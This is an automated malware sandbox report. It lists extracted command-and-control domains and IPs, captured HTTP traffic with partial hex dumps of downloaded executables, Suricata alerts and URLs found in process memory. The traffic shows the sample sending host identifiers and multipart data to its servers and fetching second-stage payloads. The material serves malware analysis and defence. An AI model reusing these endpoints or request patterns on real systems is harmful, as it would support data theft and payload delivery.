Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 26 Dec 2024 11:52:09 GMTContent-Type: application/octet-streamContent-Length: 5169664Last-Modified: Thu, 26 Dec 2024 11:21:33 GMTConnection: keep-aliveETag: "676d3c3d-4ee200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 f0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 4f 00 00 04 00 00 93 28 4f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 73 66 73 70 72 75 75 00 20 2a 00 00 c0 24 00 00 18 2a 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6c 63 61 64 7a 6c 67 00 10 00 00 00 e0 4e 00 00 04 00 00 00 bc 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4e 00 00 22 00 00 00 c0 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 26 Dec 2024 11:52:20 GMTContent-Type: application/octet-streamContent-Length: 3243008Last-Modified: Thu, 26 Dec 2024 11:21:41 GMTConnection: keep-aliveETag: "676d3c45-317c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 d3 cc 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 6c 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 77 7a 7a 61 68 74 67 00 c0 2a 00 00 b0 06 00 00 be 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 68 6a 6d 61 65 61 67 00 10 00 00 00 70 31 00 00 04 00 00 00 56 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 5a 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBKJKJKKJDGDGDGIDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 32 43 38 37 31 33 37 31 38 30 31 31 32 38 30 35 36 36 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 2d 2d 0d 0a Data Ascii: ------GHDBKJKJKKJDGDGDGIDGContent-Disposition: form-data; name="hwid"7D2C871371801128056648------GHDBKJKJKKJDGDGDGIDGContent-Disposition: form-data; name="build"stok------GHDBKJKJKKJDGDGDGIDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 39 42 39 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C79B95882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 172.67.165.185 172.67.165.185

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49708 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49769 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49763 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49806 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49813 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49824 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49830 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49836 -> 172.67.165.185:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C82X23X720LDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12823Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=M0NLJ6JYNANCK8J3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15093Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8FC6VPTHKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19909Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0Q7AJ8SPSXATLXCQAYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1221Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QRMZC646KJEJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 588309Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

Code function: 6_2_0100E0C0 recv,recv,recv,recv,

6_2_0100E0C0

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: mindhandru.buzz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: ZBbOXn0a3R.exe, ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2913106745.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/m&
Source: ZBbOXn0a3R.exe, ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe%t
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeKT
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe_T
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe?t
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/z
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912746408.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exesoft
Source: ZBbOXn0a3R.exe, 00000001.00000003.2912746408.0000000000E13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeoft
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001217000.00000004.00000020.00020000.00000000.sdmp, VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/D
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/Y5
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpiF&
Source: VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ineer
Source: skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000009.00000002.3399493778.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php#E
Source: skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM
Source: skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpOE
Source: skotes.exe, 00000009.00000002.3399493778.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpZ
Source: skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 00000009.00000002.3399493778.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpkE95
Source: skotes.exe, 00000009.00000002.3399493778.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpx
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: ZBbOXn0a3R.exe, 00000001.00000003.2746855415.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481846606.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2481453747.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729588387.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2758907500.0000000000E85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microPm
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ZBbOXn0a3R.exe, 00000001.00000003.2674646237.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
